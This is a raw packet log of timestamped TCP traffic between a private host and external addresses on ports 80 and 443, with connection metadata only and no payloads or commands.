Nov 28, 2024 17:24:45.997793913 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.997889996 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.998414993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.998460054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.998512983 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.998550892 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.999170065 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.999216080 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.999265909 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.999365091 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.999854088 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.999914885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.000014067 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.000056982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.000509977 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.000588894 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.000607967 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.000649929 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.001266956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.001280069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.001322985 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.002053976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.002109051 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.002110004 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.002283096 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.002676010 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.002691984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.002736092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.003487110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.003500938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.003547907 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.003563881 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.004102945 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.004143953 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.004162073 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.004177094 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.004894972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.004933119 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.004947901 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.004973888 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.005650043 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.005721092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.005743027 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.005791903 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.006278038 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.006329060 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.006457090 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.006500006 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.006978989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.007031918 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.007097960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.007143021 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.007709980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.007764101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.007879972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.007920027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.008394003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.008409977 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.008434057 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.008450031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.009088993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.009143114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.009167910 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.009226084 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.009897947 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.009910107 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.009953976 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.009970903 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.010294914 CET	443	49872	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.010549068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.010596991 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.010643005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.010684967 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.010844946 CET	49872	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.010862112 CET	443	49872	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.011244059 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.011290073 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.011365891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.011415005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.011548996 CET	49872	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.011555910 CET	443	49872	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.012140989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.012151003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.012191057 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.012691021 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.012773037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.012810946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.012835026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.013405085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.013447046 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.013493061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.013534069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.014115095 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.014174938 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.014321089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.014410019 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.014760971 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.014771938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.014784098 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.014834881 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.014864922 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.014873981 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.014914989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.014985085 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.015153885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.015537024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.015574932 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.015588999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.015609026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.016258001 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.016305923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.016325951 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.016360998 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.016978025 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.017030001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.017169952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.017211914 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.017713070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.017751932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.017781973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.017812014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.030083895 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.030098915 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.030173063 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.030179977 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.030215025 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.041989088 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.042005062 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.042095900 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.042095900 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.042103052 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.042213917 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.055474997 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.055490017 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.055567980 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.055567980 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.055573940 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.055716991 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.069039106 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.069056034 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.069084883 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.069098949 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.069140911 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.069140911 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.081783056 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.081801891 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.081872940 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.081872940 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.081882954 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.082060099 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.095366001 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.095385075 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.095494986 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.095504999 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.095535994 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.095777988 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.119998932 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.120105982 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.120131969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.120232105 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.120332003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.120359898 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.120501041 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.120965004 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.121073961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.121124029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.121124029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.121650934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.121794939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.121814966 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.121839046 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.122374058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.122467041 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.122488976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.122581005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.123092890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.123183012 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.123302937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.123459101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.123797894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.123876095 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.123902082 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.124027014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.124495029 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.124557972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.124578953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.124721050 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.125294924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.125305891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.125399113 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.125946999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.126003027 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.126060009 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.126652956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.126776934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.126841068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.126841068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.127373934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.127512932 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.127537012 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.127742052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.128102064 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.128175974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.128202915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.128820896 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.128917933 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.128937960 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.129002094 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.129508018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.129699945 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.129780054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.130254984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.130434990 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.130485058 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.131021023 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.131063938 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.131169081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.131239891 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.131704092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.131788015 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.131789923 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.131879091 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.132416010 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.132472038 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.132530928 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.133105040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.133202076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.133229017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.133368969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.133768082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.133889914 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.196355104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.196423054 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.196449995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.196481943 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.196593046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.196701050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.196763039 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.197298050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.197410107 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.197432995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.197506905 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.197952032 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.198235989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.198605061 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.198740959 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.198838949 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.198863983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.199481010 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.199531078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.199553013 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.199601889 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.200145960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.200253010 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.200262070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.200318098 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.200866938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.200895071 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.200923920 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.201561928 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.201673031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.201697111 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.201788902 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.202321053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.202336073 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.202640057 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.202996016 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.203010082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.203064919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.203064919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.203728914 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.203850031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.203991890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.204176903 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.204545975 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.204560041 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.204731941 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.205178022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.205296993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.205322027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.205836058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.205929995 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.205951929 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.206218958 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.206576109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.206597090 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.206644058 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.206768036 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.207333088 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.207354069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.207462072 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.207962036 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.208122015 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.208147049 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.208729982 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.208909035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.208926916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.209435940 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.209446907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.209738970 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.210108995 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.210161924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.210212946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.210870028 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.210956097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.210968971 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.211062908 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.211185932 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.211204052 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.211333990 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.211343050 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:46.211472034 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:46.211581945 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.211637974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.211667061 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.212336063 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.212382078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.212394953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.212702036 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.212963104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.213037968 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.213058949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.213691950 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.213813066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.213819027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.213912010 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.214385033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.214507103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.214530945 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.214807987 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.215173006 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.215255976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.215529919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.215856075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.215867996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.215924978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.215924978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.216536045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.216644049 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.216682911 CET	80	49813	185.215.113.206	192.168.2.6
